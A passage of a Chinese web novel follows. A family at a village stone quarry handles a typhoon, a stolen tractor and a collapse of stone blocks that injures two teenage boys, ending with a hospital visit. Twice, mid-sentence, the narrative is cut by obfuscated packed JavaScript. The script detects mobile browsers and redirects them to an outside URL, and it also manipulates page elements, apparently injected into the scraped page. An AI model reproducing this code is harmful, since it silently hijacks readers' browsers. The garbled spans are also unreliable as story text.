赵长找到了归属,每天起床吃完早饭嘴巴一抹就往网吧跑,一整个白天不在,到晚上七八点才眼冒精光地哼哧吭哧骑着自行车回来。 李贤梅问他,“这么快就交到新朋友了?” “啊对啊!老有意思了!”赵长虽然心大,但是也约莫知道舅妈不待见陈端,于是挠挠头蒙混过去了。 孔净觉得男孩子的友谊真是说来就来,因为游戏赵长俨然已经把陈端纳入兄弟行列,今早他还叫嚣,如有敌军来战,他愿为兄弟抛头颅洒热血! 真的……很中二。 赵长一连跑了三天网吧,第四天晚上快九点还没回来。 有个工人装货时摔了一跤,李贤梅和孔大勇一起把他送去镇上医院。家里只有孔净和赵兰兰。 电视机里在播放《放羊的星星》,赵兰兰抱着芭比娃娃仰起脑袋瓜看得十分入迷。孔净坐在旁边,一手托腮,另一手从发根到发尾一下一下地捋着湿发,偶尔转头看一眼红色理石桌上的石英钟,心想待会等赵长回来有他好受。 下一秒,后背就被什么东西砸了。 小石子落在脚边,孔净转过头,一个细长黢黑的影子映在半开的窗棱上,夹烟的手抬起来,同时慢慢转头面朝屋内。 孔净呼吸一顿,动作很急,指尖扯掉几根头发,右手滑进口袋,却摸了个空。 这段时间太平和,以为危机解除,美工刀不知道被她放去了哪里。 孔净脸色煞白,站起身飞快跑去关门。 “鬼王宗血公子来也,尔等还不束手就擒!” 黑影一晃,跳到铁门前,赵长嘴里叼根棒棒糖,拿着捡来的芦苇杆摆出邪门姿势。 视线一转,他看见屋内孔净的脸色,愣了愣,“真中招了?靠啊姐,你好会演!哈哈哈……” “……演你个头。” 孔净有时候真的很想把赵长整个人团一团,然后一脚踢走。 赵长两根手指夹着棒棒糖,无实物表演吐出一口“烟雾”,被孔净抽走,扔进垃圾桶。 “你干嘛?老子生气了——哇靠!” “谁老子,我还孔子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226576|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。” 赵长抱着被打的后脑壳,看孔净的眼神不满,很不满。 夜色里忽然传来自行车铃声,赵长说,“你完了,我兄弟来了。” 陈端骑车绕过土包,后头瓷砖厂橘调路灯间或照在他身上,临近石厝,他单脚支地,反身下来,推着车走到屋檐下,灰淡身影被檐下的老式灯泡拢住,影子轻缓落在门口的水泥地上,左边是赵长,右边更近一点的是孔净。 孔净有些吃惊,没想到陈端会在这个时候回来。 但她扫去一眼,什么也没说,转身去拿锅烧水。 赵长“切”一声,“亲的也就这样嘛。” 连个招呼都不打。 还比不上他和赵兰兰的塑料兄妹情。 陈端把放在车前兜的东西提进屋,孔净瞥见,“怎么这么多吃的?” 饼干、薯片、巧克力之类好大一包,都不是小卖店里能买到的。 陈端拿了换洗衣服,转过身见孔净视线还朝着这个方向,他淡淡解释说,“打游戏赢了。” 孔净不懂,“打游戏……赢了会发吃的?” “哈!我就说她是个土鳖吧!”赵长从袋子里又翻出来两根棒棒糖,一根给赵兰兰,一根撕开了用两指夹着递到自己嘴边,“当然是发奖金啦!” 孔净说:“你再用这个姿势试试。” “干嘛,我兄弟在,你还敢撒——” 话没说完,被孔净走来一掌击中后脑壳。 “靠!孔净我警告你……” “啪!” “啪!” 孔净又是两下,赵长抱头鼠窜。 陈端安静站在中间,看他们闹。 孔净可能是打弟弟打上头了,反手也给了陈端一下,“你别站着了,快去洗澡。” 没用劲,手掌在他左边小臂上拂过,更像是轻挠。 赵长终于抓到把柄,“没吃饭啊,打他是林黛玉,打我就是鲁智深。” “对啊,因为你说你可以为兄弟两肋插刀。现在没让你挡刀,只是挨揍而已。”孔净说。 “……最毒妇人心!”赵长扬言,“你等着,待会看我和我兄弟怎么收拾你——们!” 他无差别攻击,下巴隔空点了点孔净和亲妹妹赵兰兰。 赵长从家里带来的两副牌终于有了用武之地。趁着家里大人不在,并且大有可能整晚都不会回来,孔净在弟弟妹妹的撺掇下把铁架床前的一块地拖了又拖,铺一张旧凉席,把陈端带回来的零食往上面一丢,四个人各据一方盘腿坐下,两两组队,决战紫禁之巅。 他们打的是“双扣”,孔净和赵兰兰一队,陈端和赵长一队,积分升级制,最先从3打到A的队赢。 别看赵兰兰年纪最小,自小耳濡目染,牌技在他们几人之中可以说不是第一就是第二。 孔净绝对实力一般,但胜在心态稳,会记牌,有时候虚晃一招把赵长唬得一愣一愣的,出错了才后悔莫及,诬陷孔净和赵兰兰耍花招。 赵兰兰抿嘴笑,“哥,你好菜。” 说完,怕挨揍,赶忙冲孔净喊,“姐姐救我。” 孔净一手握牌,另一手伸直了在半空中比划护着赵兰兰,然后冲赵长做了个扇巴掌打脑壳的手势。 表情文静,气场嚣张。 “兄弟啊,我怎么会想到要靠你……” 赵长苦不堪言,万万没想到在游戏里所向披靡的陈端居然是个牌桌小白。 这也出乎孔净意料。 她表情有些不自然,视线越过手里的牌,轻轻瞥向右侧。 所以之前为什么要承认自己赌了? 还说什么手机也是赌来的战利品。 陈端知道孔净在看自己,但他没抬眼,由着孔净被惊讶和懊恼的情绪缠绕。 孔净:“……” 眼看着孔净和赵兰兰已经打到了Q,而他们还在打5,赵长根本坐不住,反观陈端,他很稳,稳稳地摸牌,并且出牌前顺带问一下规则。 可以说菜得很认真了。 “……” 赵长耐心全无,以暴躁兼摆烂的态度甩出四个A,被赵兰兰四个2清爽歼灭。 “靠靠靠——!不玩了!” 胜负已定,再打下去只是当陪练被虐,赵长上半身后仰“Duang”的一下躺在了凉席上,底下就是水泥地,撞得他龇牙咧嘴。 赵兰兰露出一排白牙齿,从对面绕到孔净身边耳语一句。 孔净点点头,对着赵长和陈端两个手下败将十分宽容道:“今天暂时放过你们,但是输了的队要接受惩罚。” 惩罚是什么呢? 孔净右手比着OK的手势,轻吹一口气,让两个弟弟排队过来领爆栗子吃。 “哇——”靠!!! 赵长心不甘情不愿,脑壳还没凑近就叫起来,然而下一瞬前额传来的刺激性痛感让他整个人真的弹了起来。 “孔净!你好毒!!” 好痛好痛好痛! 轮到陈端,孔净身体微微转向右侧,陈端也转向她,少年面部轮廓在深夜的灯照下比平时更静谧,也更温和。 为了配合孔净的身高,他微微弓着背,赵兰兰在旁边小声提醒,“哥哥,你的头发。” 她的意思是陈端的额发限制了孔净的发挥,赵长深表欣慰,为兄弟两肋插刀和监督兄弟领罚一点不冲突。 孔净想说你们两兄妹不必这么较真吧,斜对面陈端还真的伸手把额前的一点碎发撩了起来。 他的皮肤很白,前额饱满,鼻梁挺拔,很窄的两条双眼皮嵌着微卷的黑睫,平静目光带着一点少年人在游戏中找到乐趣的惬意与愉悦。 他很放松。 孔净与他对视,轻缓眨一下眼。 指尖靠近,在他额头上一弹。 陈端愣了一下,被弹过的地方迅速变红。 真……痛。 赵长拍手,“不愧是我姐!下手真狠!” 他因为孔净的一视同仁而神清气爽。 转而又很鸡贼地攀上陈端的肩膀,挑拨离间道:“看吧,就算你是亲的又怎样,下场还不是和我这个表的一样。” 孔净抿了下唇,看着陈端。 陈端被赵长弄得身体微晃,抬手摸了下前额,有些不可置信地掀起眼皮。 孔净在和他目光对上之前转过脸,假装去数赵兰兰怀里的芭比娃娃有几根头发。 陈端领会孔净是在为前端时间两人之间的不愉快“公报私仇”,但不知道为什么他不但不生气,反而觉得心情很好,也许是因为她一视同仁,也许是因为赵长口中的那句关于亲和表的离间语录。 总之,他好像被这个短暂的夜晚接纳,融入了。 17. 第 17 章 玩到差不到零点过,他们才打着呵欠各自上床睡觉。 孔净和赵兰兰仍旧睡下铺,赵长很反人类地要体验一把幕天席地的露营感,四仰八叉躺在地铺上就睡了,所以陈端还是睡上铺。 因为没有赵长在上铺犯上作乱,孔净睡得很安稳。 她迷迷糊糊地想,果然还是原配……原本的配置让人心安。 孔大勇一直守在医院,李贤梅到第二天下午才回来,但也只是取点东西,就又匆忙走了。因此看见陈端在,她并没有多余的功夫发表不满。 家长不在,孔净最大,她负责照顾弟弟妹妹们的一日三餐,调和矛盾,监督作业…… 总之,厨子、裁判、家教,身兼数职。 天气预报说今年的台风又要来了,提醒市民朋友们合理安排出行,尽量不要在外逗留。 上午还是阳光普照,吃过午饭之后天光一下就暗了,天境线压得很低,从浅灰转成铅灰,好像装了几千斤巨石,重得随时要掉下来。 孔净看见赵兰兰抱着芭比娃娃站在窗外的黄葛树下发呆,连忙喊她进来。 赵兰兰仰头望向石厝背后,“姐姐,台风会不会把烟囱吹倒?” “应该不会吧。” 孔净也抬头去看,瓷砖厂绵延的黑色厂房中间耸立着一根巨大的锈红色烟囱,烟囱用不锈钢绳固定,但风力强劲,它摇摇晃晃给人一种大厦将倾的逼迫感。 赵兰兰拽紧孔净的衣摆,“要是被吹倒砸到我们的房顶上,我们就都要死了。” “额,真的应该不会,台风每年都来,它一次也没倒过。”孔净安慰赵兰兰。 “可是,”赵兰兰说,“如果已经倒过,我们就不会站在这里讨论这个啦……死人是不会说话的。” “……” 好有道理呢。 赵兰兰很害怕,踮起脚尖从窗户朝屋内看去,糟糕,哥哥不在,如果灾难真的来临,她只能独自英勇就义,放哥哥一个人苟活了。 想到这里,赵兰兰眼角耷拉,好孤独。 孔净其实也有些焦灼,不是因为台风,而是有人趁台风来临之际偷走了厂里的拖拉机。 拖拉机不是孔大勇和李贤梅的所有物,是厂里的财产,李贤梅在的时候每天都会盯着厂里的工人用完就把车停进厂房里,钥匙也是由她保管。 但因为李贤梅这两天不在,厂子疏于管理,昨天晚上暂管车械的王叔喝多了,偷懒没去把停在石料场的拖拉机开回厂房,他心想就几个小时不至于这么寸。 然而天没亮爬起来,石料场黑黢黢空荡荡,不见拖拉机的影子,却用手电筒在地上照见被拖拉机轮胎轧过但明显又用树枝之类的东西清理过的痕迹。 一台拖拉机好几万,相当于一个磨工累死累活一年的收入。王叔急得六神无主,发动厂里所有人都去找,陈端和赵长听说后也自动加入。 孔大勇得到消息,日天日地也在往回赶。 孔净揽着赵兰兰的肩膀带她回到屋里,开了电视机,音量要调到很大才能盖过外面愈演愈烈的风声。 赵兰兰窝在矮板凳上逐渐被剧情吸引,孔净时而转头看一眼窗外,总有些心神不宁。 听见风声里夹杂的轰隆隆燃机运转声音,孔净一下起身,以为是孔大勇回来了,跑到门口,一个略显圆润的少女从一辆摩托车后座跳下来,肩上的背包也跟着抖了两下。 “阿……禾?” 阿禾风尘仆仆的样子,掏了一张二十元钞票付车钱,从摩的师傅手上接过绑在后车架上的小号行李袋,然后才转过身不太自然地对孔净笑了下,“嗨。” “你怎么会来……?今天刚回来吗?”一个暑假没见面,孔净也觉得有些生疏。 “嗯,”阿禾垂下眼,两手紧紧攥着行李袋。 “你、要不要进来喝杯茶?”孔净走过去,伸手去接阿禾手上的行李袋。 阿禾咬着嘴唇瞥孔净,“是你请我进去的哦。” 孔净点头又点头,“没错,是我强行请你。” “吼!”阿禾小声恢复了口头禅,忽然觉得眼眶有点涩。 孔净烧水泡苦荞茶,阿禾蹲在地上把行李袋拉链拉开,半条胳膊伸进去,掏啊掏,掏出一个印着鞋厂LOGO的袋子。 等孔净转过身,她微微撅起嘴,有点傲娇地说:“阿嬷说你去家里找我,她说你不好意思开口,但是叫我一定一定记得帮你带一双时髦又好穿的鞋。呐,这双给你。” 孔净一怔,两手接过袋子,从里面拿出一双黑色真皮凉鞋,鞋子带一点跟,绑带设计,一点看不出瑕疵,又新又漂亮。 “所以,你还没回家就过来给我送鞋吗?”孔净把鞋子抱在怀里,笑看着阿禾。 阿禾眼神飘移,“没有啦,只是路过。” “这样哦。但我还是要谢谢你。” “干嘛这么煽情,我真的只是路过和顺手。” “我知道啦,不要一直强调,这样反而显得你是‘专门’。” “吼,孔净你有点烦诶。” “好啦,我不说了。” 水还在烧,窗外的风声越来越大,阿禾静静站着,几秒后她和孔净同时出声。 “对不起。” 阿禾很诧异,“你干嘛道歉啊?” 孔净抿了下唇,“因为一条……我没有跟你说实话,还有,虾皮一直在私下找你麻烦,我作为你最好的朋友居然什么都不知道,最重要的……你说的很对,我只是装不怕,其实是个胆小鬼。” “胡说什么!明明都是我的错……我也不知道当时为什么会那样……” 阿禾再次撅起嘴,这回表情和傲娇没有半点关系,她有一点点委屈,又因为这份委屈被最好的朋友看到,最后只剩羞赧和抱歉。 她用力吸了下鼻子,垂下眼,“那天我不该说那样没有良心的话,明明是你和陈端帮了我……我太害怕了,对不起……” “那如果,我是说如果,”孔净看着阿禾,“时间再回到那天放学,你还会答应虾皮引我去文具店吗?” 事情总要说清楚,好朋友之间不能在心里留疙瘩。 阿禾用力咬住嘴唇,她抖着嗓音低声说:“不会……真的对不起……是他骗我说只是想找机会和你聊一聊,他说聊完就再也不会出现……我从来没有想过要害你,真的!……文具店人很多,他不敢真的对你怎么样……后来、后来我躲着你是因为太羞愧了……” 阿禾抬起眼睛,眼泪快要决堤,“孔净,你相信我吗?” “我信。这样好不好,”孔净说,“我们互相对对方说一句没关系,就当没发生过。” “噫,好肉麻。”阿禾不要。 “还好吧。”孔净把怀里的鞋子抱紧一分,笑看着阿禾郑重道,“对不起,没关系。” “话都被你说完了!”阿禾有点难为情地转过脸,眼泪在眼眶里亮闪闪,嘴边纹路却慢慢变成两个大大的括弧。 还好,她没有因为一次错误就失去最好的朋友。 也庆幸,她用一个暑假积攒起所有的勇气来为自己犯过的错道歉。 刚泡好的苦荞茶是澄明的淡黄色,尽管很烫,阿禾却很给面地捧着瓷碗呼呼吹凉,喝光。 她看见红色理石桌上的马克杯,“小气哦,杯子都不舍得借我用。” 孔净说:“是陈端的。” 这两天李贤梅和孔大勇不在,所以杯子用了洗干净之后就放在她桌上了,之前一直都是搁在碗架最里边。 “你们和好啦?”阿禾左看右看,石厝里除了她和孔净,只有赵兰兰沉迷台偶的背影。 “还好吧……其实也没有吵架啦。”孔净把阿禾送的鞋子妥善放在床底下的收纳箱里。 “那就是和好啰。”阿禾低头想着什么。 孔净又看了眼窗外,黄葛树的枝丫舞动着,风更大,天边的浓云也更黑,快要下雨了。 她提议说:“你要不要给阿嬷打个电话说今天不回去了?天气不好,你一个人好危险。” “在镇上就打过电话啦,阿伯会来接我。”说到这个,阿禾提起行李袋和背包,“我先去小卖店那边等阿伯。” “我送你过去。” 孔净担心赵兰兰一个人在家会怕,问要不要一起,或者去厂里嬢嬢家待一会。 电视机里的女主正被男主搂在怀里说着甜蜜情话,赵兰兰脸上泛着迷之微笑,眼睛黏在屏幕上,头也不回地让孔净快去快回,不要担心,她很勇敢。 孔净:“……” 孔净把铁门插上插销,不放心,干脆锁上,把钥匙从缝隙扔进去,叫赵兰兰收好,如果有陌生人来,千万不要开门。 仰头,瓷砖厂的烟囱在风力中巍巍晃动,像被几只无形的手从不同方向来回推拉。 孔净走得很快,阿禾拉住她,“从这边走。” 阿禾了解石材厂地形,从厂子中间穿过的确路途更短。 孔净点点头,提着阿禾的行李袋走在前面。 这年头没有监控,拖拉机轮胎印从石料场出口延伸出去,经过背身靠近森林的土路,滑下斜坡后,印迹就在和水泥路的衔接处中断。 水泥路车流汹涌,拖拉机汇入其中犹如小鱼入海,谁也不知道最后去了哪里。 很大可能是找不回来了,但王叔不死心,让四个工人分成两拨骑上摩托车分别往水泥路两个方向去找,剩下的则去村子、附近厂房、林子…… 陈端和赵长年纪小,又遇上这种鬼天气,没敢让他们走远,就只在瓷砖厂和石材厂就地寻找蛛丝马迹。 两个厂看起来面积不小,真要搞地毯式搜索那一套必定要花上不少时间,可丢失的是拖拉机,那种庞然大物扫一眼就知道在不在。 赵长觉得自己和陈端根本是被溜来打酱油的,一点实际作用都起不到。 “靠,下雨了。”他刚搜寻完大切机房,刺耳尖锐的切割声像带刺的藤蔓直往耳朵里钻,走出厂房,刚觉得舒爽点了,脸上和领口处裸露在外的皮肤就传来痛感,被雨砸的。 “回去算了,你觉得呢陈——”赵长晃眼看见不远处的石料场上跑过一个黑影,雨幕太大,眼睛里进了水,一眨眼就那人影就闪进了石料缝隙。 “你跑那边干什么?拖拉机根本开不进去……”赵长嘟囔着,犹豫一下,为了显示兄弟情,还是抱头冒雨也跟着跑向了人影消失处。 石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241111|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材厂的石料没进厂房经过加工之前都很大,边长三米到五六米不等的正方体,两三个垒在一起,便于叉车挪移每块石料下面都垫了木枕,放眼望去像一堆巨石塚。 石料与石料之间空出来的缝隙可以过人,有些悬空隔出来的空间更可以藏人。之前就有疯子在石料场里安营扎寨。 赵长显然忘了这一茬,狂奔过去,落汤鸡似的根本顾不上其他,弯腰就缩进了石料洞里。 潮重湿热的空气里弥漫着烟味,赵长眼睛一亮,“你会抽烟?靠,给我尝尝!” 转过头,一个黑痩人影蹲靠在石料洞最里边,光线太暗看不清他的脸,嘴上叼着的烟头一点猩红,印着骷髅头的衣服面料洗饱雨水,顺着衣角滴答滴答淌下。 “你要烟?过来我给你。” 人影忽然开口,处于变声期的沙哑嗓音,普通话带很重的本地口音。 最重要的是,他的语气和眼下阴湿窒闷的环境一样,让人感觉很不舒服。 “我糙!” 赵长吓了一大跳,起身远离的动作太急,脑袋撞到顶上的石料。 不知道是不是他的错觉,他觉得石料放得并不结实,风声鹤唳,石料松动,压着木枕小幅度摆动,像个不倒翁。 人影哈哈笑起来,然后语气陡然变得阴狠,“赛林木(干你妈)!滚啊,阿巴嘎(外地人)!” 他骂得很难听,赵长脸色难看,下一秒就想弯身冲进去把人拽出来揍一顿。 滂沱大雨中,隐约听见轰隆隆的声音,随即旁边缝隙入口处传来另一道年轻的本地男声,“冲匣难?伊来莫?(在干什么?他/她来了没?)” 男声的主人骂骂咧咧,说着什么“调虎离山”、“被老头子知道少不了一顿竹笋炒肉丝”之类的话。 踩过坑洼的泥水地,猛然看见一张陌生面孔,顿住。 赵长也愣了一下,看出这人和里面那个是一伙的,二对一,大概率打不过,他憋着一股气快速往外面走去。 “匣郎?(谁啊?)”他听见身后新来的那人在问。 “嗯栽(不知道),扑街啰……” 雨声风声,掩盖身后放肆的大笑声。 赵长从石料甬道钻出来就看见面前停着一辆红色摩托车,是新来的那个骑来的。 他想也没想,飞起一脚,踹完就跑。 没回头看摩托车是否倒地,一口气跑回了石厝。 另一个被雨淋湿的少年身影恰好从土包那边跑来,停在檐下,赵长差点和他迎面撞上,“你去哪儿了?!” “那边转转。” 陈端本来也在石材厂房里,后来下雨了,他等了一会儿,见雨没有减弱的趋势,就抄近道从厂房后的小路回来了。 赵兰兰看电视看得神魂痴迷,外面刮风下雨都没知觉。赵长把铁门拽得哐当响,她才猛然惊醒,跑来开门。 “孔净呢?”陈端一进屋就问。 赵兰兰又坐到电视机前去了,赵长正在找毛巾擦头发,扫视一眼屋内,走过去踢了下赵兰兰屁股下的板凳,“问你,姐呢?” “啊?” 赵兰兰停了几秒才找回半个多小时前的记忆,“出去了。” 陈端蹙眉,“去哪了?” “姐姐的同学来找她,同学要回去,姐姐去送她。”赵兰兰说。 “男同学女同学?”赵长往歪处想。 赵兰兰说:“女同学。” 赵长觉得怪没意思,一道闪电照亮半边天,昏暗的室内也在一瞬间变得煞白,然后再次沉进黑暗。 赵兰兰被回来的两位哥打断,身心从偶像剧出走,回归现实,她被闪电吓到,缩着肩膀问赵长:“打雷会不会把人劈死啊?” 大部分城市已经普及了避雷网,但村镇还没有,每当雷雨天,厂里大人就会兴味盎然地讲起谁谁谁因为下雨打伞被雷劈中烧糊。 赵长也听过,他擦头发的动作顿了顿,和赵兰兰对视一眼,两兄妹心照不宣,都在默默担心外出还没回来的孔净。 “姐应该没有看起来的那么傻吧……喂,陈端你干嘛?!”赵长话说一半,余光里一直站在窗边的身影忽然转身朝门外走去。 话音落地,陈端脚步一停,背对着站在檐下,赵长松了一口气,走过来,慷慨把用过的毛巾递给他。 陈端没接。 他半边身体在檐下,半边暴露在外,本来就已经淋湿,劲风斜裹着雨柱又将他从头淋个遍。 可他一点反应也没有。 冰冷的雨水压湿额发,顺着流到他的眼睛里,再从脸廓形成一条条细小水流,汇聚到下巴,悬坠到他些微发颤的右手以及指间紧握的手机上。 水浸湿按键机,屏幕上的短信字体在光线折射下有的大有的小。 “来……石料场、找你漂亮……姐姐?……孔净……?!!” 赵长费力辨清,脑袋还未消化这些字组成的含义,身旁人影猛然一闪,快速返回屋内拿了个什么东西,再转回眼,陈端已经冲进雨幕。 大雨如注,隐约辨出他右手上是一把……美工刀。 “操!!!” 赵长想到什么,毛巾一扔,也追了上去。 18. 第 18 章 看着阿禾被阿伯用三轮车载走,孔净正打算返回石厝,噼里啪啦,豆大的雨点就从天砸落。 小卖店老板娘好心给了孔净一张塑料膜,让她包在脑袋上挡一挡。 然而雨大风也大,聊胜于无,孔净以鸡妈妈造型跑回石厝,塑料膜里外都是湿的,她也是。 铁门是开着的,但是屋里没亮灯,屋檐下的排水沟里还扔了一条毛巾,孔净有些慌,拾起毛巾,一边解开塑料膜一边走进屋,“兰兰?” “姐姐!!”赵兰兰掀开蚊帐从床上跑下来。 孔净被她迎面扑个踉跄,稳住后拍拍她后背,“不好意思,我回来晚了。就你一个人吗?你哥和陈端呢?” 赵兰兰一手搂着芭比娃娃,一手搂紧孔净,仰头道:“回来又出去了。” 孔净以为是拖拉机找到了,但就算找了他们也不该再出去啊,这么大的雨。 “我身上都是湿的。”孔净把赵兰兰推开了点,伸手去摁电灯开关。 赵兰兰呜呜道:“停电了。” “嗯。”孔净心神不宁,雨水从窗户缝隙打进来,把窗前的地面都浇湿浇透了。 她找来干拖把,把那块地面存积的水汽吸了吸。 “这么大的雨,找找找,找个锤子找!” 门外忽然传来骂声。 孔净一抬头就看见李贤梅和孔大勇相继走了进来,天气太邪门,他们在中途把摩托车寄放在老乡家里,改乘公交车回来。 公交车站牌离石材厂足足有一公里路,没有挡雨工具,又心急丢失的拖拉机,两人冒雨走回来,狼狈得像是刚从阴沟里爬出来的。 李贤梅脸色惨白,见孔净也是从头湿到脚的造型,皱了皱眉,“你又是怎么搞的?” 孔净放回拖把,正想着怎么说,就听见孔大勇惊骇的大嗓门,“端端和长长呢?!” “他们……” 孔净没来得说完,一声震动传来,几个人都以为是打雷,不约而同看向外面,然而天黑得发沉,没有一丝光亮闪过的痕迹。 令人窒息的沉默过后,屋内突然爆发出一道哭声。 是赵兰兰被吓到。 李贤梅头疼,按着太阳穴坐到桌边,她叫孔净熬一锅红糖生姜水。 孔净愣神站着,过了好几秒才应声。 孔大勇站在门口朝外面张望,“这种鬼天气还在开采山石?……不对啊,刚才的声音不是从后头林子里传来的。” 他一拍大腿,“不对劲!不对劲!是厂子——” 正说着,就有工人从滂沱大雨中跑来,一边跑一边喊,风雨声太大,根本判断不出他在喊什么,只能看见他慌乱的手势,一直一直不断地朝石料场的方向指去。 孔大勇静静站着,工人越来越近,喊声穿过风雨断续落进耳朵里,他忽然转头,粗实的嗓音有些抖:“贤梅,石料场石头塌了……出、出人命了……!!” 倾盆大雨卷起浓湿的草木和土腥味,可除此之外,空气里还是能闻见淡淡的血腥味。 原本应该平置于两个石料之上的大石料歪斜倒塌,多米诺骨牌效应,碰倒旁边垒起的其他石料,停在前方的红色摩托后半截被压实,前半截匍匐在泥地里,像一只被拦腰斩断但仍苟延残喘的异形生物。 孔大勇赶到现场,张着嘴,雨水流进嘴巴,他用力吞了好几口唾沫,然后才如梦初醒,鼓红着眼睛以最大的声音呵斥还傻站着的工人,“狗日的去开叉车!先把压在底下的……人救出来!” 他不确定用“人”来指代困在倒塌石料下的身体是否准确,他脚下一软,鞋底擦着泥水踉跄几步,“啊……端端!!!” 李贤梅从后面死死抱住他的腰,不让他再往前,“等他们把人弄出来再说!你要是再出事,我和孔净怎么活!” 有工人打电话叫了救护车,但这种天气就算救护车从百十公里远的镇上赶来,一来一回,太耗时间。 老板得到消息开着小轿车来支援,一看见石料场上那辆被压得已经变形的红色摩托车,差点没站稳。 大家冒雨先把老板儿子抬进车厢后座,剩余伤员放进厂里的货车厢,车子相继开出石材厂,轮胎轧过水坑,卷起的泡沫都成虚影。 石厝里,一片昏暗,赵兰兰噙着眼泪抱紧芭比娃娃躺在床上睡着了。 孔净端一个矮板凳坐在床边守着她。 “轰隆!”又是一个巨雷。 赵兰兰在睡梦中被惊得四肢一弹,孔净把手伸进蚊帐轻拍了她两下,就像哄小婴儿入睡那样。 慢慢地,赵兰兰身体放松,再次进入沉睡。 风呜呜从房子缝隙钻进来,身上的湿衣服一直没换,里边的贴身衣物已经被体温烘干,迟来的,孔净抱紧双膝,感觉很冷。 身后发出鸣笛声,她转过头,才发现灶上的火一直没关,李贤梅要的姜汤已经熬好了。 孔净站起身,经过红色理石桌时顺手拿起那只黑白渐变的马克杯,然后再从碗柜里拿出其他几人惯用的茶缸,依次倒满姜汤。 滚水溢出杯缘,顺着杯身淌落到脚背上,孔净一惊,放下水壶,并不觉得很痛,她目光茫然,在水壶在马克杯之间扫了两眼。 她有点后悔,当时不应该贪便宜,下次,下次去镇上,不在地摊上淘了,她要找一家专门的店好好给陈端挑一只,没有缺口的杯子。 - 因为李贤梅要守着厂走不开,而孔大勇一直在医院没离开过。开学过后的第一个周末,孔净才被准许独自乘车去医院探望。 搬去塘上村的石材厂好几年,这还是孔净第二次来市区,上次是孔大勇刚承包石材厂没多久,他带着孔净来找在市里开卤菜店的表叔喝酒。 孔净记得表叔好像是自学成才,他去批发市场跟卖中药材的商铺老板说他要卤料包,能让人吃了上瘾的那种,商铺老板听了之后,隐晦地给了一个“我懂”的眼神,大手在藏在角落的尼龙袋里抓来抓去,“不上瘾,头给你!” 表叔拿着一包两百的独家秘方在出租屋里闭门钻研两个星期之后,带着已经掌握财富密码的自信,在附近菜市场租了个别人不要的偏僻门面,凭着十里飘香的实力的确在开业初期招揽来不少顾客。 那回孔大勇带孔净来,表叔很高兴,把展示柜里的招牌菜都拿出来招待。孔净吃好多,因为真的好香好入味。 然而回家第二天就起了满身红疹,小诊所的医生说是过敏,但没有实际证据证明和吃卤菜有关。 不过后来听说表叔有不少顾客也是吃了就全身痒、但越痒越想吃,表叔琢磨一阵,在没有预先通知的情况下关门大吉,连夜跑回老家改卖冷冻食品了。 于是,让人吃了一次就还想吃千百次的林氏“老卤”就此绝迹江湖。 孔净发散思维想着这些乱七八糟的事情,大巴车摇摇晃晃,她望着窗外的高楼大厦和车水马龙。 那场台风过后,东南沿海的夏季提前收尾,九月的阳光不再炽烈,透过车窗温柔照在她的脸上。 车子到站,孔净转乘公交车到市医院。医院很大,她兜兜转转才找到外科住院部。 楼层走廊上,孔大勇正因为私自在厕所抽烟被护士谴责,他笑嘻嘻的,连说不会再有下次。 余光瞥见孔净,赶紧以此为借口逃离。 他象征性朝孔净走来两步,“你妈呢?” “妈上午要收货,她说没时间。” 孔大勇没吭声,眉间的川字纹皱得很深。 孔净朝他身后一排病房看去,不确定陈端住哪间。 恰好右边第二间病房有人推门出来,“孔净,来了啊?两个弟弟听说你要来,等你好久了。” 孔小琼天性乐观,当时接到电话几乎要昏厥,但在赶来医院的路上听说没有生命危险,她抹掉脸上的鼻涕和泪:“还好还好,只是皮外伤……没事,只要还有气,养养就好了。” 她口中的“皮外伤”其实是左小腿骨折,但正如她所说,没被石料压成肉酱就是万幸,骨折什么的已经是菩萨保佑。 孔净跟着孔小琼走进病房,赵长躺在靠近门边的床上,左腿自膝盖以下打了石膏用绷带吊着,上半身很灵活,捧着一碗洗净的无籽葡萄,平时不会买这类高端水果,这是病号才有的特级贡品。 他不走寻常路地以投喂的方式用嘴去接,并且作势朝孔净丢来一颗,见她没反应,撇嘴道:“吓傻啦?” 孔小琼剜他,“我看你才是,受伤的不是腿,而是脑子。怎么越来越贫,连你姐也欺负。” “我哪儿敢欺负她。人家有亲弟弟保护。” “亲弟弟”三个字发音很贱。 孔小琼拿手指他,“再乱说,自己起来撒尿,我不扶你。” 她买了夜壶,赵长不用。 “有舅舅啊!”赵长说。 孔大勇就在门边,听见这话后立刻咧嘴笑着走进来,和孔小琼一人一边把赵长架起来。 这是一间四人间的普通病房,没有厕所,要去走廊另一端的公共卫生间。 病床之间的帘子都拉着,但是里头两张病床不时有家属走来走去,因此可以判断陈端就在隔壁床上。 孔净站在两张床之间的过道上,隔着一道帘子,不确定陈端是不是在睡觉。 但其实要知道他睡没睡,只需要走两步到床尾或者掀起帘子看一眼。 孔净却没这么做。 她抱着怀里的包,就这么站着。 米黄色的帘子透光,依稀可以看见病床上的人影轮廓,感觉又瘦了一圈。 一个病房似乎被分成了两部分,里边喧嚣,孔净所在的这边静谧。 “36号床,打针了!”护士推着治疗车进来,“叫什么名字?” “陈端。”虚飘的嗓音响起。 原来他没睡啊,孔净这么想着,面前的帘子被护士“刷”一下拉开半幅,帘子边缘轻轻晃动,她视线擦过,陈端微微偏转过脸,两人目光有一下没一下地撞上。 